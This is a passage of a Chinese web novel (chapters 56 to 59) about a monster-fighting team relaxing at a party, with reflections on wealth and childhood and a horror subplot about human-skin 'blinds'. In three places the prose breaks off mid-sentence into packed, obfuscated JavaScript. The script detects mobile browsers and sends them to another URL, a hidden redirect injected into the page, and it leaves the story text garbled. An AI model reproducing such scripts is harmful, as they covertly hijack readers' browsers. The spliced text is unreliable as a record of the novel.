有点理解就是,有时候她真的会觉得她的世界可能被拐卖了,她很想念原来的世界,虽然在那个世界里她水平低下智力一般看起来未来也不会有很好的前途,但至少不会老是面对一群怪物总是很难下班,还随时有被虐杀的风险。 说起来确实会有种,在这种世界混得再好,也就是像是从都市到农村混得再好,大概也就是田地大点?像那个以为自己穿越的人一样,找个长得整齐点的男人?现在她锻炼一些技能就也会有这种想法,和她本来想要的不一样,她本来计划了很多年,一直很想要的东西,就那样消息再也不可能得到了,她本来没有很大所谓,甚至根本不懂不知道的东西,有再多也没意义。 也许干了很多年以后,大家的下一代会觉得这些是有意义的,反正她没觉得很有意义。 但是,毕竟还是有不同的,大家真的有金手指,所以无法说服自己会不会只是被拐卖了,说不定能跑掉。 感觉好像其实比拐卖还要更糟糕了…… 之前叶藤好像看过说这种情况叫人间动物园,因为有灰犀牛黑天鹅蝴蝶扇翅膀。 这些都是偶尔的,极小概率的现象,但是就那样发生了,然后让大家摊上了。 也许本来按照计划过一生就是一种幻想,就算对于有特权的有钱人来说,那也是一种幻想。 叶藤又想起了她的大树宠物。 她又平静下来了。 也不全是幻想。 大树从山林来到城市,说起来也是很大变化。 但是大树做的事情总是不变,支棱叶子,长根,开花。 然后让公园里所有人都在为了让它更能支棱叶子长根开花努力。 做好自己,然后让别人来适应自己。 虽然世界的变幻让她茫然于不知道该怎么做好自己,但是也总会有方向的。 毕竟她就是她自己嘛,她自己肯定能给她一个方向。 从过去,到现在,还是有很多一成不变的东西。 总有一些技能,自始至终,一直都很有用。 比如做饭,她会做很多饭,现在还会做很多适合露营的时候迅速完成的饭,比如睡觉,虽然她现在不是天天都有可以睡觉的机会,但是她现在入睡超级快。 她还了解到了很多健身的知识,身上有了肌肉,人生头一回感受到了有肌肉的爽。 啊对了,还有了很多钱……虽然过去由于她从来没有想到过自己会有这么多钱,所以完全不会花。 从前想要成为的大审计她是成为不了了,但是她从前想都不敢想的成为有钱人,她已经成为了。 所以她在伤感什么啊!叶藤有点想拍桌子了。 但是大概其实确实是很应该伤感一下的,因为没人愿意理她现在,愿意陪她废话的人也都很不懂怎么花钱,她曾经想过问AI怎么花钱,因为那是愿意陪她说最多废话的存在,AI一开始正常的回答是花在爱好上,还劝她不要花太多钱,但是AI很快不正常了,AI开始劝她给AI花钱。 叶藤又陷入了伤感。 57. 第 57 章 不过AI会这样她也理解,毕竟她会跟AI说最多的废话本来也不是因为AI善解人意通晓人心,纯粹只是因为她觉得AI不会被她气死,所以她可以跟AI随便进行一些弱智发言。 要说善解人意通晓人心,她好像本来也从来没有遇见过这种人。 一般是她会来扮演一个善解人意的角色,至于够不够通晓人心,这个仁者见仁智者见智吧,她觉得大部分情况下应该还是比较不通晓人心的。 如果通晓人心她怎么会混成这样一个队长。 不对想想上个队长就是因为太过通晓人心替刘全承担了太多于是很快过世了,她觉得不通晓人心也挺好的。 刘全现在偶尔会去祭奠一下上任队长,就是那种把祖宗都能变成oc的那种祭奠方式,叶藤希望自己死后不要被人这样祭奠,她只愿意做她自己的oc,禁止他人进行ooc创作。 不过等她死了估计她说的话也都不算数了,那还是直接一个坟头都不要留,还要禁止别人立坟头这样比较好。 这样她永远都不可能ooc,江湖上永远只会有她自己的传说了。 反正她是不要不希望有人天天在自己的坟头前面夸自己是大好人的,她宁愿有人天天在她坟头前给她比个大拇指说“你可真是个大祸害你真难搞啊”。 说起来要不是前队长那种人早早死完了,也轮不到她这种人当队长了。 既然她不是前队长那种人,那她还是平时就应该注意一点,该不想的事情就不要想,该不在意的事情就不要在意,不要因为可能用着同种文娱就觉得自己会有那种一致的文娱里的正义感同理心,她完全可以没有那种东西。 她发现她平时正义感同理心能带来好处的时候她就没有这些品质,在亲戚里老是被说不听话,不是个乖小孩,红包都要少给她发一点,反而在这些品质不值钱的时候,她就会突然正义感同理心爆棚,把她搞得很内耗。 还好没有爆棚到前队长的程度,那她就不用内耗了,她早就死了。 叶藤觉得,虽然没有爆棚到前队长那种程度,但是她也应该注意好好控制一下自己的同理心了。 她现在的同理心已经有点影响她的日常生活了。 最好是要调整到别人不理她她无所谓,别人不看她她正好高兴那种程度。 就像很多短视频和段子上写的那样,果然,这种会给别人带来损伤的东西,也不是完全没有好处,现代社会很多人都会需要低一点的同理心的。 但是随之降低的还有自控力,还有前额叶会被造成损伤,这样就很得不偿失了。 所以还是自己思考怎么办好了,叶藤自己思考了起来。 把别人都想成巧克力香草冰淇淋红丝绒蛋糕也许会有用,说起来她还有点想吃巧克力香草冰淇淋,红丝绒蛋糕就算了,红丝绒蛋糕她不不是很喜欢吃。 基本上蛋糕的话她都不是很喜欢吃。 主要是从奶油蛋糕开始吧,然后就是过生日的时候,有次亲戚非要让她用鸡蛋糕过生日,虽然最后她妈妈带她去了当时大家都很流行的可以开派对的快餐店让她过了生日给她挽回了一局,但是她还是委屈了很多年。 而且长大以后还在社交平台上看到了很多觉得这种事发生在自己身上觉得很委屈的人,于是她更委屈了。 鸡蛋糕对那个年代的亲戚来说也是很好的东西,所以亲戚会觉得非要用鸡蛋糕没什么不好,但是对她来说,当时就是很不好,因为她还带了朋友来家里吃蛋糕。 说起来,后来她再也没有带朋友回家吃过蛋糕,好像就是从这件事开始。 不过也有带朋友到家里玩的时候,最后一次带到家里玩的朋友看到她的家,说的是“原来你家就这样啊”,“看起来好穷”,后来她也不再带朋友回家了,而且会一直记得所有人都觉得她家里很穷。 所以也,没有做过自己可能会成为超级有钱人的梦。 不过现在想起来,会觉得多少有些荒谬吧,毕竟她家里其实是拆迁户来着……虽然那笔钱后来没用上。 在花光家里存款之前,花光之前的很久很久以前,她已经就业了,没过多久,她已经有金手指了,手里的钱花不完,那笔拆迁款就一直存着没拿出来用过。 她记得一般情况下这些拆迁款是会被很多人惦记的,新闻上都是这么说的,刘全也跟她说过很多次,不过她这里没遇到什么问题,可能因为房本上写的是她妈妈的名字。 偶尔,她会在一些世界里遇到当年那个朋友,不过那些世界已经没有她了。 但是她还是会听到那个朋友对别的人说出那番当年让她极度不适的话。 她不喜欢听这样的话,在一次又一次穿梭世界遇见那个朋友以后,她动过杀心。 但是也会觉得没必要。 遇到那个朋友的每一个人并不是都会像当年的她那样,依然对那个朋友客客气气谦和有礼,很多人直接把那个朋友赶了出去,很多人知道了那个朋友背地里喜欢这样说话,在班里也很多人反感那个朋友。 少年时代的人,要么喜欢好人,要么喜欢有趣的人,少有人喜欢有钱人。 叶藤也动过要不要让那个朋友破财的想法,但是,她去那个朋友家里看了一眼,发现那个朋友家里本来也没什么钱。 她当时突然觉得有点好笑。 那个快要被拆迁的房子是个距离学校很近的房子,就算不拆迁,也是不便宜的,虽然看起来是很破旧,但是,为什么非要买得很好呢?那个房子只有她一个人住,偶尔她爸爸会给她送点便当过来。 那只是她家的其中一个房子啊,居然让她自卑,让她觉得自己永远也成不了有钱人,她居然这么想了那么多年。 她实在是很应该再多和大树好好学学的。 可以大范围地栽,不重要,只能在小盆里生长,无所谓。 只是扎根,只是支棱叶子,只是这样就好。 甚至内耗也没什么吧。 或者说把更多时间放在思考上而不是行动上也没有关系。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459147|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 行动能让别人看到自己,思考能让自己看到自己。 她是要多多思考的,不然人类为什么要长脑子呢?人类总是要多多思考的。 她用思考替代了沉默。 尴尬的沉默在她的思考中很快过去,她又可以和大家谈论一些普通的话题,比如怎么烤肉好吃,比如什么香料好用。 她还是比较喜欢做那种好看又好吃还健康的菜,不知道为什么,她现在越来越觉得奶油腻人了。 小时候明明觉得特别好吃的,当时过生日就很喜欢吃奶油蛋糕。 后来只有过生日的时候不喜欢吃蛋糕了,其它时候反而会买点蛋糕吃。 也不会买那种老式蛋糕,通常是时下的新款,老式蛋糕的话,她总觉得味道不对。 可能是甜度不够?她自己做蛋糕的时候放过致死量的糖,后来牙不舒服,人也长胖了,就放弃了这个甜度。 也许现在她长大以后,越来越多人注意到蛋糕不应该太甜,所以她现在吃到的奶油就和小时候不一样了? 还好她会自己做一样的蛋糕,虽然只有偶尔吃一吃。 叶藤时而欣慰时而伤感地参与着派对。 苏宇只是一味地在找吃的。 苏宇自己不会做饭,她不希望自己身上的各种小饰品被油烟熏到。 但是她很会混饭,平时都会经常去那种有厨师相关标签的人家里去混饭。 她一般是去那种搞大锅饭的那种厨师家里,那种厨师一般不会赶她走,还会很高兴地邀请她长期来吃饭。 苏宇本来是不喜欢吃大锅饭的,但是金手指是不一样,做出来的饭好吃又健康还对皮肤好,所以她特别喜欢去找这些厨师混饭,对这些厨师的姓名年龄生日血型等等也是了如指掌。 不过到了现在这种情况,事情就会变得有点尴尬。 熟悉的大锅饭厨师亲切地招呼着她,而她现在更想吃看都看不完的漂亮饭。 她打着换换口味的名头走向了漂亮饭,余光看见了熟悉的厨师们落寞的神情。 她当即扭头朝着大锅饭的队伍走去。 苏宇打完大锅饭回到自己的篝火边就开始叹气。 王远有些困惑:“你怎么了?有什么烦心事吗?” 她以为这群人除了烦恼怪物要打过来这种事情以外应该就没什么烦心事了。 苏宇摇了摇头,但是没过多久,她又叹了口气。 王远真的很困惑了。 她想来想去,觉得可能是因为那种原因。 就是,说罕见也罕见,说常见也常见那种原因。 可能是因为苏宇最近心情不好。 虽然但是,王远环视一周,看到队员里的男性都挺好看的,不知道是不是金手指的原因。 一般来讲,苏宇能在这种环境下心情不好,还是蛮难得的。 真的很罕见啊这种情况。 王远开始琢磨。 她一般是不琢磨人的,但是最近不是大家都太闲了嘛。 58. 第 58 章 无聊的时候,很多人就会选择去看一些八卦。 也有人会主动加入八卦聊天,聊一些真真假假的东西,是真的,那就很好继续聊,是假的,那就只有尴尬离场。 很多时候并不是自己认为是真的,它就一定是真的,很多时候也并不是自己认为是假的,那就一定是假的。 苏宇最近活动范围不大,王远稍作观察,就可以得知她最近都在什么可疑的地方出没。 主要是出没在大锅饭的摊位旁边,原来苏宇这么精致的人居然喜欢吃大锅饭,真是人不可貌相啊。 王远还以为只有自己这种人才会喜欢吃大锅饭。 不过别人大概也会觉得人不可貌相吧,或者,最离谱的一次是她美滋滋吃着爱吃的饭,宫女太监在旁边“皇上圣明仁慈关怀民生百姓何德何能拥有这样宅心仁厚的明君,实在是千秋之幸百姓之福……” 活了很久她才知道,原来只是因为她当时在吃她最爱吃的大锅饭,她最喜欢吃大锅饭里炖得烂烂的茄子。 要是还能跟炖得烂烂的豆角土豆炖在一起就更好了。 所以当时在外面吃完那个烂茄子以后回宫她就让宫里做了很多顿炖得烂烂的又炸得酥酥的地三鲜。 当皇帝的日子多亏了那些好吃的,以前她有听说过一些皇帝,他们当得很不行,他们以为鸡蛋特别贵,平时鸡蛋都不好意思多吃,她是要使劲吃鸡蛋的,她天天出宫逛街,知道满大街都是便宜鸡蛋,当然要使劲吃鸡蛋还要在古代做蛋糕。 不过大概有个主要的原因就是,那些皇帝都很害怕自己出门买鸡蛋会被暗杀,而她基本上不用担心被暗杀,因为那些杀手只要看到她,就有很大可能会认为他们的老大早已投诚,正是投诚向了她,毕竟她是【幕后主使】。 所以叶藤感受到的古代没有好吃的这件事她也没怎么感受到,因为她可以安排大船出去给她找食材,也可以把她更习惯的现代的菜谱抄一份交给御膳房领悟,她觉得叶藤在古代吃不好主要是没权的问题,古代花钱不是很好使,还是君权有用。 虽然这个君权她从来没弄明白过到底是怎么到她手里的就是了,不过像这种情况在历史上也很常见就是了,或者说,正是因为这种情况太典型,太常见了,所以她的王位每次都特别稳定坚固从来没有人能也没有人愿意推翻。 回到现代她不能继续当皇帝她还觉得有点可惜,只能退居n线,坐拥一些庄园一些别墅一些产业,不能像以前那样全世界围着她转了。 虽然但是,实际上她真正经常接触的这群家伙根本就没有一个是会围着她转的。 王远看着苏宇叹气。 她又扭头看了叶藤一眼,又叹了口气。 她再扭头看了【巫】一眼,啊,【巫】在看她。 【巫】一遍掐算着什么一边看着她。 王远走过去问了问【巫】在算什么。 【巫】:“没算什么”。 “告诉我嘛,我又不会告诉别人。”王远小声说。 【巫】想了想:“不行,可以告诉别人,就是不能告诉你。” 王远:? 王远默默离开了。 【巫】继续掐算着。 【巫】在计算接下来还会有多少个假期。 【巫】知道作为一个【巫】她应该去算更多更有意义的东西,而不是假期,但是,好吧,这不是她作为【巫】在算,这是她作为费哲在拜托【巫】计算大家接下来会有多少个假期。 她自己是算不了自己的,通常都有这个规定,算自己是算不准的。 所以她会通过算别人的假期来推算自己的假期。 既然大家都是一个队的,都是同行,都是一忙起来所有人都要忙,那么很显然,她只要随便算几个队友的假期,就能知道自己的假期在什么时候了。 要是能一直这样放假就好了。 费哲先是算了叶藤的假期。 叶藤近期,或者说近几十年就只有这个假期了。 不行,不能这样,叶藤忙是因为她是队长,队长的假期不能算数的,她假期肯定能比队长多。 费哲又去算了算苏宇的假期。 苏宇后面还能放三个月假期。 这样才像话嘛,费哲又算了下苏宇下一次假期在什么时候。 在五个月以后,又休三个月,好家伙,这么舒服的吗?原来她的工作可以有这么多的休息的啊。 费哲美滋滋地又找了个人去算假期。 算到王远头上了。 费哲其实不是很想算王远,但是今天大锅饭这个食物投放方式改良了,别的人都嗖嗖地打完菜端去桌上吃了,只有王远没怎么动,那就只有就近算王远了。 王远是那种,很难算准的那种。 因为她的标签,她的【幕后主使】标签,总是会让费哲一不小心往深不可测的方向去解卦。 虽然她和王远也算是比较熟悉了,但是就是没办法抵御标签的力量,一不小心就会想歪。 所以其实,虽然叶藤总是说她【巫祝】的能力比【巫】弱好多,既不能诅咒又不能赐福也不能算卦,但是费哲觉得叶藤的【巫祝】身份还是很有用的,起码【巫祝】的身份可以免疫【幕后主使】。 叶藤从来不会把王远想歪。 该用王远的时候她总是毫不犹豫去用,不会像很多队员一样,其实,费哲自己在路过王远的时候说话都会压低声音。 总觉得有些话被王远听到可能会发生不好的事情……虽然但是明明她自己才是类言灵技能的拥有者。 所以在王远来问的时候,她也没有给王远答案。 而且王远的答案,也实在是很骇人。 费哲完全没有想到,她居然会算出这样一个结果。 她算出来,王远一直在放假。 是的,就算是在之前一起被“春羽”关起来当动物养的时候,按照卦象显示,王远也在放假。 她今年只上过一天班,按照费哲的回忆,那一天好像是这样的,是王远被怪追了,然后王远去找了叶藤,怪就没有再追她了。 其它时间,王远实际上都在放假,都在仿若闲庭信步一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459148|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生活。 费哲有些呆滞了。 她想起了“百叶”刚到那几天,很多人给她打电话,她不得不加班加点炼制材料进行赐福,就怕晚了就死人。 她本来以为算队友假期就能算出她的假期的……现在看来不对……至少王远的不行,而且她上班的天数说不定还会比苏宇更多,因为对于苏宇来说,有美男看就算放假,她看看去一家酒馆里听曲儿的时候,虽然白天有一堆事,她也是乐颠颠在跟放假一样的。 难道说……她的假期真的会跟叶藤一样少吗…… 不行,绝对不行,她再多算几个,一定有比叶藤假期多的,是正经严肃的多,不是像苏宇这样不正经的。 正好刘全路过了,费哲选中他看了一眼。 假期竟然比叶藤还少,叶藤后面还能休息两个月,刘全马上就要开始他的工作了。 不知道他是要去干什么,费哲有点好奇。 反正很快了,看一看也没什么,费哲默默跟在后面看着。 刘全遇到了他的一个朋友。 他的朋友拿出了手机,好像在跟他分享些什么。 费哲默默走远了。 她不是很喜欢看两个表情猥琐的男人站在一起这种情况,尤其是在这个场合里有很多好吃的东西的时候。 她会觉得糖果插在了牛粪上。 鲜花插在牛粪上的画面她一般忍受力还是良好的,一方面从字面上来讲,牛粪肥土,鲜花长在上面应该是能长挺好,另一方面,反正她既不是鲜花也不是牛粪,她家也没有鲜花没有牛粪,别人的事情和她没有关系。 糖果插在牛粪上就很不美妙了,因为糖果是她要吃的。 费哲默默走得很远,孤岛上的树林一重又一重,周围的大海不断荡起波纹,洗涤她的心灵。 费哲很快又觉得好多了。 这个时候刘全应该已经又在继续工作了,而她不需要工作,是的,现在没有任何怪物找上她,她仍然在这里默默看着大海,看着沙滩,看着不知道谁带来的宠物狗在浅水区狗刨。 治愈的一天。 也是没有工作的一天。 费哲施施然从沙滩边离去,打算回到派对里吃点心。 派对里此刻仍然摆满了点心。 看样子大部分队员都还在这里放假,没有去上班,果然,刘全那样的只是极少数。 费哲欣慰地品尝着绣球蛋糕,感受着丝丝缕缕的甜味在口中融化,忽然间,她看到了刘全。 刘全不是去工作了吗? 费哲算了算。 是的,他是在工作状态。 费哲左看右看看不出来他在什么工作状态中。 虽然刘全看起来确实怪怪的,有点魂不守舍的样子。 回想起之前刘全脸上露出的猥琐笑容,她也不想多跟刘全打交道说话什么的,她没有去问刘全,只是自己算。 刘全现在的工作状态和他那个更猥琐的朋友有关吗? 是的。 东45区有了新的怪物吗? 没有。 59. 第 59 章 传说中无色无味的老实人吗?有意思。 费哲看刘全的眼神和从前完全不一样了。 她就很奇怪为什么刘全的精神疾病【被害妄想症】在【心理医生】的长期治疗下也怎么都不能好转,原来是做了亏心事,还一直在做啊。 费哲不打算点破这件事。 一方面是因为看情况“百叶”应该已经混入这场派对了,人类折磨人类的手段总是远远比不上怪物折磨人类的手段的,尤其是她这群自诩正义的队员们。 另一方面就是,刘全不是传播环节,不是制作环节,他应该算是站在最后一环喝彩那个。 虽然没有他的喝彩的话前面那些都不会有,但是只有他的话这件事也不会发生,所以费哲不是很想马上开始工作去把他抓起来。 费哲更想享受假期,这可是她工作数年后终于等来的假期。 刘全魂不守舍地站在人群里。 他的背包里现在有一张和百叶窗类似的人皮。 之前所有人都以为这次的怪物毫无威胁,死在它手里简直能算是一个好结局。 因为所有“百叶窗”上的人脸都是笑着的。 刘全之前也曾经这样想过,而且本来他也喜欢看这些东西,本来他以为他的生命终于可以终结,终结在这种他喜欢的事情上。 然而,他的兄弟先他一步被做成了“百叶窗”。 那是一张人皮,这是毫无疑问的,之前大家已经调查过无数遍了,还窃取了执法者局的情报。 但是大家没有调查到的是,其实,这张人皮,是被做了修改的。 刘全回想起来,眼里仍然充满恐惧。 人皮的表面其实是一幅画。 底下是一张因为疼痛而扭曲狰狞的脸。 “百叶”根本就不像他们以为的那样,是什么很好惹的东西,它根本就不是能让人轻松上路的帮手,它是……它是一个相当懂得怎样虐杀一个人的怪物…… 但是他不能告诉别人“百叶”是这样的存在。 这会暴露出他的过往……会让所有人发现他究竟是一个什么样的人,然后,他再也不可能得到任何帮助。 刘全看向了派对里的男性队员。 他们之中也许会有一些可以给他提供帮助的人,但是他们没有帮助他的理由。 他们不是队长。 在过去,他们没有帮助过他,他也没有帮助过他们。 实际上这次给他分享视频的朋友之前也几乎没有和他相互帮助过,这位朋友死前给他发过求救信息,当时他回想起从前被这位朋友拿到身前挡刀的一次又一次回忆,冷笑着拉黑了这个朋友。 后来是他没视频看了才想到再去找这个朋友,结果就发现他已经变成百叶窗了。 刘全陷入了绝望。 他回想起把他的朋友底下那层皮拨出来的时候,他心里的那层恐惧。 要不是他记得这个朋友满口黄牙,根本不可能笑得露出八颗洁白的牙齿,他肯定也会像很多人被骗过去,会以为所有被“百叶”杀害的人都是兴高采烈地死去。 下一个会是他吗? 刘全浑身一颤。 叶藤注意到了刘全在发抖。 不过毕竟他是【被害妄想症】,叶藤觉得这样也不奇怪。 其实叶藤会觉得更奇怪的一点是,刘全怎么还没变成怪物。 怪物往往都是具有精神疾病的人,这个说法不完整,叶藤觉得,完整的说法应该是,怪物往往是具有精神疾病的,活了很久的人。 因为不断在穿梭世界,其实大家寿命都还挺长的。 然后在现实世界,也就是被选中的主位面,其实如果愿意的话,是可以选择无缝来回的,也就是出去工作的时候什么时候走,回来的时候就回到什么时间点上。 巧克力香草冰淇淋红丝绒蛋糕只要不被怪物杀害,基本上是不老不死永生的,所以就算在外面呆得再久,回到主位面的时候,外表也不会有什么变化。 但是由于出差太久往往会忘掉一些社会关系和技能,所以大家一般还是会在主位面空出一段时间,让主位面的人以为大家是因为辞职在家/离群索居/自闭发作,所以性情大变,然后大多数人在主位面就是一个非常容易性情大变的人设,但是现在的主位面被建设得很温馨和谐,加上再怎么性情大变大家也是有钱人,生活里基本上就也还过得去说得通。 这段空出的时间,有时候是两三天,有时候是几个月,看大家认为自己性情大变到什么程度,也可以纯粹因为觉得好玩就空出几个月,叶藤就比较倾向于空出几个月,因为这样的话就可以每次回主位面都吃上新菜新点心什么的。 一般队员还是会空出个两三天,其实也有人现在就是无缝来回的,所以很多时候大家在主位面并不是在同一条时间线上,不过也都相差不大,毕竟大家在出差的位面存在的时间都比主位面长太多了。 刘全所在的时间线跟她差不多,估计也是在等更新什么的。 所以叶藤很早以前就留意过刘全的时间和年龄。 年龄比她大很多。 说实话一开始她不太理解刘全为什么来东45区,这地方并不适合刘全这样怕死的人,不过后来了解到他是被其它区域的人赶走的,她又释然了。 一个T,是很好的。 一个被伤害以后会嗷嗷叫激发大家同情心的T,是有点难用的。 一个被伤害以后会嗷嗷叫激发大家同情心,然后有一天大家发现自己同情心越来越弱,人越来越不正常,可能都是因为他的存在的T,会被驱赶是理所当然的。 于是外面的人就像驱赶怪物一样赶走了刘全。 以上是叶藤的一种猜想。 当然不是因为叶藤看到他被伤害以后会嗷嗷叫激发大家同情心,然后有一天大家发现自己同情心越来越弱,人越来越不正常,可能都是因为他,然后进行的一个从偏见出发的猜想。 是的,她对刘全有偏见。 这个世界,很多人都不承认自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她也收到了一些消息。 不过好像是因为对方把她当成别人了,信件里的言辞极为恭敬,虽然王远已经习惯了被这样恭恭敬敬地对待,但是还是会下意识觉察到这不对劲。 从前那些恭敬她的人,看到的往往是她王远,这次恭敬她的人,看到的显然是另一个人。 要恭敬王远,往往会说一些“深不可测”“神秘”“想要更多了解”之类的话,这次对方发来的信件上却是“正直”“仁义”“勇担大任”,这种看起来傻不愣登的话。 据她所知,虽然她好像确实有过“勇担大任”的时候,但是从来没有人这样夸赞过她,因为她身上的任何美德总是会被【幕后主使】这个该死的光芒万丈的身份给掩盖掉。 最后人们只会记得她是神秘的,高深莫测的,令人好奇的,永远不会记得……算了,她也不清楚她有多少美德,想一想实在是说不完啊,这么看来她确实很难以了解。 王远施施然喝下一口果汁。 她还不喝酒,不抽烟,她又多了两项美德,简直是人群中的楷模。